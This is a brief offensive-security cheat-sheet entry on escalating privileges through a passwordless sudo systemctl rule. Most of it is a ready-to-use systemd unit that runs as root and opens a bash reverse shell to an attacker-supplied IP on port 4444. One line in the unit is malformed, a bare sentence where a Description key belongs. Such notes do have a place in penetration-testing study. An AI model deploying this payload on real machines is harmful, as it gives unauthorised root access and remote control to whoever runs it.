Sudo Systemctl Privilege Escalation
sudo systemctl is vulnerable to privilege escalation by modifying the configuration file.
sudo -l
(ALL) NOPASSWD: systemctl
Copied![Unit]
This is an example service.
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<local-ip>/4444 0>&1'
[Install]
WantedBy=multi-user.target
Copied!References
Last updated
